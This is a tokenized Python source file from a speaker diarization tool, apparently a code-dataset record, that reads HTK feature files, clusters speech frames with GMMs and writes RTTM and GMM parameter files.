"\\u\\u\\uDEDENT\\u\\u\\u_", "config_", "=_", "Config", "Parser_", "._", "Config", "Parser_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "config_", "._", "read_", "(_", "config", "\\u", "file_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "meeting", "\\u", "name_", ",_", "f_", ",_", "sp_", ",_", "outfile_", ",_", "gmm", "file_", ",_", "num", "\\u", "gmm", "s_", ",_", "num", "\\u", "comps_", ",_", "num", "\\u", "em", "\\u", "iters_", ",_", "kl", "\\u", "nto", "p_", ",_", "num", "\\u", "seg", "\\u", "iters", "\\u", "init_", ",_", "num", "\\u", "seg", "\\u", "iters_", ",_", "seg", "\\u", "length_", "=_", "get", "\\u", "config", "\\u", "params_", "(_", "config_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Creat", "e", " ", "teste", "r", " ", "object_", "\\u\\u\\uNL\\u\\u\\u_", "dia", "rize", "r_", "=_", "Dia", "rize", "r_", "(_", "f_", ",_", "sp_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Creat", "e", " ", "the", " ", "GM", "M", " ", "list_", "\\u\\u\\uNL\\u\\u\\u_", "dia", "rize", "r_", "._", "new", "\\u", "gmm", "\\u", "list_", "(_", "num", "\\u", "comps_", ",_", "num", "\\u", "gmm", "s_", ",_", "'", "diag", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Cluster_", "\\u\\u\\uNL\\u\\u\\u_", "most", "\\u", "like", "ly_", "=_", "dia", "rize", "r_", "._", "cluster_", "(_", "num", "\\u", "em", "\\u", "iters_", ",_", "kl", "\\u", "nto", "p_", ",_", "num", "\\u", "seg", "\\u", "iters", "\\u", "init_", ",_", "num", "\\u", "seg", "\\u", "iters_", ",_", "seg", "\\u", "length_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Write", " ", "out", " ", "RT", "TM", " ", "and", " ", "GM", "M", " ", "parameter", " ", "files_", "\\u\\u\\uNL\\u\\u\\u_", "dia", "rize", "r_", "._", "write", "\\u", "to", "\\u", "RT", "TM", "_", "(_", "outfile_", ",_", "sp_", ",_", "meeting", "\\u", "name_", ",_", "most", "\\u", "like", "ly_", ",_", "num", "\\u", "gmm", "s_", ",_", "seg", "\\u", "length_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "dia", "rize", "r_", "._", "write", "\\u", "to", "\\u", "GM", "M_", "(_", "gmm", "file_", ")_", "\\u\\u\\uDEDENT\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "class_", "Dia", "rize", "r_", "(_", "object_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "class_", "Dia", "rize", "r_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "def_", "\\u\\u", "init\\u\\u_", "(_", "self_", ",_", "f", "\\u", "file", "\\u", "name_", ",_", "sp", "\\u", "file", "\\u", "name_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", "self", ".", "variant", "\\u", "param", "\\u", "space", "s", " ", "=", " ", "variant", "\\u", "param", "\\u", "spaces_", "\\u\\u\\uNL\\u\\u\\u_", "#", "self", ".", "device", "\\u", "id", " ", "=", " ", "device", "\\u", "id_", "\\u\\u\\uNL\\u\\u\\u_", "#", "self", ".", "names", "\\u", "of", "\\u", "back", "ends", " ", "=", " ", "names", "\\u", "of", "\\u", "backends_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "f_", "=_", "open_", "(_", "f", "\\u", "file", "\\u", "name_", ",_", "\"", "rb", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "print_", "\"...", "Reading", " ", "in", " ", "HT", "K", " ", "feature", " ", "file", "...\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", "===", " ", "Read", " ", "Feature", " ", "File", " ", "==_", "\\u\\u\\uNL\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "n", "Samples_", "=_", "struct_", "._", "unpack_", "(_", "'>", "i", "'_", ",_", "f_", "._", "read_", "(_", "4_", ")_", ")_", "[_", "0_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "samp", "Period_", "=_", "struct_", "._", "unpack_", "(_", "'>", "i", "'_", ",_", "f_", "._", "read_", "(_", "4_", ")_", ")_", "[_", "0_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "samp", "Size_", "=_", "struct_", "._", "unpack_", "(_", "'>", "h", "'_", ",_", "f_", "._", "read_", "(_", "2_", ")_", ")_", "[_", "0_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "samp", "Kind_", "=_", "struct_", "._", "unpack_", "(_", "'>", "h", "'_", ",_", "f_", "._", "read_", "(_", "2_", ")_", ")_", "[_", "0_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "print_", "\"", "INFO", ":", " ", "total", " ", "number", " ", "of", " ", "frames", " ", "read", ":", " ", "\"_", ",_", "n", "Samples_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "total", "\\u", "num", "\\u", "frames_", "=_", "n", "Samples_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "D_", "=_", "samp", "Size_", "/_", "4_", "#", "dimension", " ", "of", " ", "feature", " ", "vector_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "l_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "count_", "=_", "0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "while_", "count_", "<_", "(_", "n", "Samples_", "*_", "D_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "b", "Float_", "=_", "f_", "._", "read_", "(_", "4_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "fl_", "=_", "struct_", "._", "unpack_", "(_", "'>", "f", "'_", ",_", "b", "Float_", ")_", "[_", "0_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "l_", "._", "append_", "(_", "fl_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "count_", "=_", "count_", "+_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "finally_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "f_", "._", "close_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", "===", " ", "Pru", "ne", " ", "to", " ", "Spee", "ch", " ", "On", "ly", " ", "==_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "print_", "\"...", "Reading", " ", "in", " ", "spe", "ech", "/", "nons", "pee", "ch", " ", "file", "...\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "pruned", "\\u", "list_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "num", "\\u", "spe", "ech", "\\u", "frames_", "=_", "n", "Samples_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "sp", "\\u", "file", "\\u", "name_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "sp_", "=_", "open_", "(_", "sp", "\\u", "file", "\\u", "name_", ",_", "\"", "r", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "l\\u", "start_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "l\\u", "end_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "num", "\\u", "spe", "ech", "\\u", "frames_", "=_", "0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "line_", "in_", "sp_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "s_", "=_", "line_", "._", "split_", "(_", "'", " ", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "st_", "=_", "math_", "._", "floor_", "(_", "100_", "*_", "float_", "(_", "s_", "[_", "2_", "]_", ")_", "+_", "0.5_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "en_", "=_", "math_", "._", "floor_", "(_", "100_", "*_", "float_", "(_", "s_", "[_", "3_", "]_", "._", "replace_", "(_", "'\\\\", "n", "'_", ",_", "''_", ")_", ")_", "+_", "0.5_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "st1", "_", "=_", "int_", "(_", "st_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "en", "1_", "=_", "int_", "(_", "en_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "l\\u", "start_", "._", "append_", "(_", "st1", "_", "*_", "19_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "l\\u", "end_", "._", "append_", "(_", "en", "1_", "*_", "19_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "num", "\\u", "spe", "ech", "\\u", "frames_", "=_", "num", "\\u", "spe", "ech", "\\u", "frames_", "+_", "(_", "en", "1_", "-_", "st1", "_", "+_", "1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "print_", "\"", "INFO", ":", " ", "total", " ", "number", " ", "of", " ", "spe", "ech", " ", "frames", ":", " ", "\"_", ",_", "num", "\\u", "spe", "ech", "\\u", "frames_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "total_", "=_", "0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "start_", "in_", "l\\u", "start_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "end_", "=_", "l\\u", "end_", "[_", "l\\u", "start_", "._", "index_", "(_", "start_", ")_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "total_", "+=_", "(_", "end_", "/_", "19_", "-_", "start_", "/_", "19_", "+_", "1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "x_", "=_", "0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "index_", "=_", "start_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "while_", "x_", "<_", "(_", "end_", "-_", "start_", "+_", "19_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "pruned", "\\u", "list_", "._", "append_", "(_", "l_", "[_", "index_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "index_", "+=_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "x_", "+=_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "#", "no", " ", "spe", "ech", " ", "file", ",", " ", "take", " ", "in", " ", "all", " ", "features_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "pruned", "\\u", "list_", "=_", "l_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "float", "Array_", "=_", "np_", "._", "array_", "(_", "pruned", "\\u", "list_", ",_", "dtype_", "=_", "np_", "._", "float32_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "X_", "=_", "float", "Array_", "._", "reshape_", "(_", "num", "\\u", "spe", "ech", "\\u", "frames_", ",_", "D_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "N_", "=_", "self_", "._", "X_", "._", "shape_", "[_", "0_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "D_", "=_", "self_", "._", "X_", "._", "shape_", "[_", "1_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Dia", "rize", "r_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "write", "\\u", "to", "\\u", "RT", "TM", "_", "(_", "self_", ",_", "rtt", "m", "\\u", "file", "\\u", "name_", ",_", "sp", "\\u", "file", "\\u", "name_", ",_", "meeting", "\\u", "name_", ",_", "most", "\\u", "like", "ly_", ",_", "num", "\\u", "gmm", "s_", ",_", "seg", "\\u", "length_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "print_", "\"...", "Writ", "ing", " ", "out", " ", "RT", "TM", " ", "file", "...\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", "do", " ", "major", "it", "y", " ", "voting", " ", "in", " ", "chunks", " ", "of", " ", "250_", "\\u\\u\\uNL\\u\\u\\u_", "duration_", "=_", "seg", "\\u", "length_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "chunk_", "=_", "0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "end", "\\u", "chunk_", "=_", "duration_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "max", "\\u", "gmm", "\\u", "list_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "smoothed", "\\u", "most", "\\u", "like", "ly_", "=_", "np_", "._", "array_", "(_", "[_", "]_", ",_", "dtype_", "=_", "np_", "._", "float32_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "while_", "end", "\\u", "chunk_", "<_", "len_", "(_", "most", "\\u", "like", "ly_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "chunk", "\\u", "arr_", "=_", "most", "\\u", "like", "ly_", "[_", "range_", "(_", "chunk_", ",_", "end", "\\u", "chunk_", ")_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "max", "\\u", "gmm", "_", "=_", "stats_", "._", "mode_", "(_", "chunk", "\\u", "arr_", ")_", "[_", "0_", "]_", "[_", "0_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "max", "\\u", "gmm", "\\u", "list_", "._", "append_", "(_", "max", "\\u", "gmm", "_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "smoothed", "\\u", "most", "\\u", "like", "ly_", "=_", "np_", "._", "append_", "(_", "smoothed", "\\u", "most", "\\u", "like", "ly_", ",_", "max", "\\u", "gmm", "_", "*_", "np_", "._", "ones_", "(_", "250_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "chunk_", "+=_", "duration_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "end", "\\u", "chunk_", "+=_", "duration_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "end", "\\u", "chunk_", "-=_", "duration_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "end", "\\u", "chunk_", "<_", "len_", "(_", "most", "\\u", "like", "ly_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "chunk", "\\u", "arr_", "=_", "most", "\\u", "like", "ly_", "[_", "range_", "(_", "end", "\\u", "chunk_", ",_", "len_", "(_", "most", "\\u", "like", "ly_", ")_", ")_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "max", "\\u", "gmm", "_", "=_", "stats_", "._", "mode_", "(_", "chunk", "\\u", "arr_", ")_", "[_", "0_", "]_", "[_", "0_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "max", "\\u", "gmm", "\\u", "list_", "._", "append_", "(_", "max", "\\u", "gmm", "_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "smoothed", "\\u", "most", "\\u", "like", "ly_", "=_", "np_", "._", "append_", "(_", "smoothed", "\\u", "most", "\\u", "like", "ly_", ",_", "max", "\\u", "gmm", "_", "*_", "np_", "._", "ones_", "(_", "len_", "(_", "most", "\\u", "like", "ly_", ")_", "-_", "end", "\\u", "chunk_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "most", "\\u", "like", "ly_", "=_", "smoothed", "\\u", "most", "\\u", "like", "ly_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "out", "\\u", "file_", "=_", "open_", "(_", "rtt", "m", "\\u", "file", "\\u", "name_", ",_", "'", "w", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "with", "\\u", "non", "\\u", "speech_", "=_", "-_", "1_", "*_", "np_", "._", "ones_", "(_", "self_", "._", "total", "\\u", "num", "\\u", "frames_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "sp", "\\u", "file", "\\u", "name_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "spe", "ech", "\\u", "seg_", "=_", "np_", "._", "loadtxt_", "(_", "sp", "\\u", "file", "\\u", "name_", ",_", "delimiter_", "=_", "'", " ", "'_", ",_", "usecols_", "=_", "(_", "2_", ",_", "3_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "spe", "ech", "\\u", "seg", "\\u", "i_", "=_", "np_", "._", "round_", "(_", "spe", "ech", "\\u", "seg_", "*_", "100_", ")_", "._", "astype_", "(_", "'", "int", "32", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "sizes_", "=_", "np_", "._", "diff_", "(_", "spe", "ech", "\\u", "seg", "\\u", "i_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "sizes_", "=_", "sizes_", "._", "reshape_", "(_", "sizes_", "._", "size_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "offsets_", "=_", "np_", "._", "cumsum_", "(_", "sizes_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "offsets_", "=_", "np_", "._", "hstack_", "(_", "(_", "0_", ",_", "offsets_", "[_", "0_", ":_", "-_", "1_", "]_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "offsets_", "+=_", "np_", "._", "array_", "(_", "range_", "(_", "len_", "(_", "offsets_", ")_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", "populate", " ", "the", " ", "array", " ", "with", " ", "spe", "ech", " ", "clusters_", "\\u\\u\\uNL\\u\\u\\u_", "spe", "ech", "\\u", "index_", "=_", "0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "counter_", "=_", "0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "pair_", "in_", "spe", "ech", "\\u", "seg", "\\u", "i_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "st_", "=_", "pair_", "[_", "0_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "en_", "=_", "pair_", "[_", "1_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "spe", "ech", "\\u", "index_", "=_", "offsets_", "[_", "counter_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "counter_", "+=_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "idx_", "=_", "0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "x_", "in_", "range_", "(_", "st_", "+_", "1_", ",_", "en_", "+_", "1_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "with", "\\u", "non", "\\u", "speech_", "[_", "x_", "]_", "=_", "most", "\\u", "like", "ly_", "[_", "spe", "ech", "\\u", "index_", "+_", "idx_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "idx_", "+=_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "with", "\\u", "non", "\\u", "speech_", "=_", "most", "\\u", "like", "ly_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "cn", "um_", "=_", "with", "\\u", "non", "\\u", "speech_", "[_", "0_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "cst", "_", "=_", "0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "cen", "_", "=_", "0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "i_", "in_", "range_", "(_", "1_", ",_", "self_", "._", "total", "\\u", "num", "\\u", "frames_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "with", "\\u", "non", "\\u", "speech_", "[_", "i_", "]_", "!=_", "cn", "um_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "(_", "cn", "um_", ">=_", "0_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "start", "\\u", "secs_", "=_", "(_", "(_", "cst", "_", ")_", "*_", "0.01_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "dur", "\\u", "secs_", "=_", "(_", "cen", "_", "-_", "cst", "_", "+_", "2_", ")_", "*_", "0.01_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "out", "\\u", "file_", "._", "write_", "(_", "\"", "SPE", "AKE", "R", " ", "\"_", "+_", "meeting", "\\u", "name_", "+_", "\"", " ", "1", " ", "\"_", "+_", "str_", "(_", "start", "\\u", "secs_", ")_", "+_", "\"", " ", "\"_", "+_", "str_", "(_", "dur", "\\u", "secs_", ")_", "+_", "\"", " ", "<", "NA", ">", " ", "<", "NA", ">", " ", "\"_", "+_", "\"", "speaker\\u", "\"_", "+_", "str_", "(_", "cn", "um_", ")_", "+_", "\"", " ", "<", "NA", ">\\\\", "n", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "cst", "_", "=_", "i_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "cen", "_", "=_", "i_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "cn", "um_", "=_", "with", "\\u", "non", "\\u", "speech_", "[_", "i_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "cen", "_", "+=_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "cst", "_", "<_", "cen", "_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "cn", "um_", "=_", "with", "\\u", "non", "\\u", "speech_", "[_", "self_", "._", "total", "\\u", "num", "\\u", "frames_", "-_", "1_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "(_", "cn", "um_", ">=_", "0_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "start", "\\u", "secs_", "=_", "(_", "(_", "cst", "_", "+_", "1_", ")_", "*_", "0.01_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "dur", "\\u", "secs_", "=_", "(_", "cen", "_", "-_", "cst", "_", "+_", "1_", ")_", "*_", "0.01_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "out", "\\u", "file_", "._", "write_", "(_", "\"", "SPE", "AKE", "R", " ", "\"_", "+_", "meeting", "\\u", "name_", "+_", "\"", " ", "1", " ", "\"_", "+_", "str_", "(_", "start", "\\u", "secs_", ")_", "+_", "\"", " ", "\"_", "+_", "str_", "(_", "dur", "\\u", "secs_", ")_", "+_", "\"", " ", "<", "NA", ">", " ", "<", "NA", ">", " ", "\"_", "+_", "\"", "speaker\\u", "\"_", "+_", "str_", "(_", "cn", "um_", ")_", "+_", "\"", " ", "<", "NA", ">\\\\", "n", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "print_", "\"", "DON", "E", " ", "writ", "ing", " ", "RT", "TM", " ", "file", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Dia", "rize", "r_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "write", "\\u", "to", "\\u", "GM", "M_", "(_", "self_", ",_", "gmm", "file_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "gmm", "\\u", "f_", "=_", "open_", "(_", "gmm", "file_", ",_", "'", "w", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "gmm", "\\u", "f_", "._", "write_", "(_", "\"", "Number", " ", "of", " ", "cluster", "s", ":", " ", "\"_", "+_", "str_", "(_", "len_", "(_", "self_", "._", "gmm", "\\u", "list_", ")_", ")_", "+_", "\"\\\\", "n", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", "print", " ", "parameters_", "\\u\\u\\uNL\\u\\u\\u_", "cluster", "\\u", "count_", "=_", "0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "gmm", "_", "in_", "self_", "._", "gmm", "\\u", "list_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "gmm", "\\u", "f_", "._", "write_", "(_", "\"", "Cluster", " ", "\"_", "+_", "str_", "(_", "cluster", "\\u", "count_", ")_", "+_", "\"\\\\", "n", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "means_", "=_", "gmm", "_", "._", "components_", "._", "means_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "covar", "s_", "=_", "gmm", "_", "._", "components_", "._", "covar", "s_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "weights_", 